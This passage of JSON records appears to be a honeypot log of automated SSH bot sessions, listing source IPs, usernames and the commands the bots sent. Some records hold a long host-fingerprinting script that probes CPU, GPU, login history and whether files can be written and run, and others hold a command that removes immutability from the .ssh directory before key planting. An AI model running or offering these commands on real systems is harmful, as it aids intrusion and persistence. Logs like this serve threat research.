  "src_port": 40851,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:40:36.906245+00:00",
  "ended_at": "2026-08-26T15:40:37.891065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5412205b-ce52-4315-994f-43103d5b62fe",
  "name": "supple-electric-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 54097,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:40:26.513959+00:00",
  "ended_at": "2026-08-26T15:41:08.931383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c3c87d0a-46e8-4877-b54d-6e41dfa984bc",
  "name": "ancient-hollow-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 59524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:39:48.904658+00:00",
  "ended_at": "2026-08-26T15:39:49.036002+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2535591c-2b0a-4f61-a8ab-8cd924229163",
  "name": "stoic-fearless-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40847,
  "username": "ajay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:38:13.799757+00:00",
  "ended_at": "2026-08-26T15:38:15.323567+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "39c06f6f-441e-47fa-88db-4f326e9e8950",
  "name": "velvet-languid-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40849,
  "username": "ajay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:37:51.638751+00:00",
  "ended_at": "2026-08-26T15:37:52.754414+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5a21870e-60d1-43ee-90e7-b028c164dc20",
  "name": "loyal-wandering-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40848,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:37:48.881468+00:00",
  "ended_at": "2026-08-26T15:37:50.124752+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb806529-8002-4b9b-af2f-f309eb9d364f",
  "name": "chilly-bold-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 56578,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:37:44.291362+00:00",
  "ended_at": "2026-08-26T15:37:44.430015+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c6a733a6-96d7-42e7-a2c4-02203149f1a0",
  "name": "cosmic-fringed-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 53650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:35:48.265510+00:00",
  "ended_at": "2026-08-26T15:35:48.389087+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "95314685-11e5-4a63-822e-8c8934729f94",
  "name": "clever-eager-peccary",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:35:40.616818+00:00",
  "ended_at": "2026-08-26T15:50:58.910592+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f12fbab-1ccd-4fa1-a657-08523aff9bde",
  "name": "arctic-glassy-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40844,
  "username": "odoo17",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:35:32.222507+00:00",
  "ended_at": "2026-08-26T15:35:33.337914+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "dd9ec137-f683-4d57-9378-9df2bd6dc189",
  "name": "hidden-prairie-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40846,
  "username": "odoo17",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:35:09.082262+00:00",
  "ended_at": "2026-08-26T15:35:11.024487+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea8b07e6-51a2-4844-8c69-ff829f35e986",
  "name": "electric-verdant-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40845,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:35:06.326325+00:00",
  "ended_at": "2026-08-26T15:35:07.568465+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2d2abe8-d3ea-49d2-ba1f-1f7ff6e28577",
  "name": "mindful-mossy-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 50718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:34:00.146824+00:00",
  "ended_at": "2026-08-26T15:34:00.268233+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "37f93808-47b9-42b1-b362-d3e336edccf6",
  "name": "emerald-western-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40841,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 756,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:32:47.683960+00:00",
  "ended_at": "2026-08-26T15:32:49.494280+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2255
 },
 {
  "id": "426652a4-2d81-470f-ba96-93ed299d533f",
  "name": "windswept-candid-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40843,
  "username": "temp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:32:24.996556+00:00",
  "ended_at": "2026-08-26T15:32:27.126381+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96e45955-5ec0-4c4b-80d0-bcee4edd7265",
  "name": "pristine-fearless-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40842,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:32:22.061995+00:00",
  "ended_at": "2026-08-26T15:32:23.507643+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2f0f8446-1a0f-4940-a006-4c142d673018",
  "name": "stoic-upland-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 47816,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf 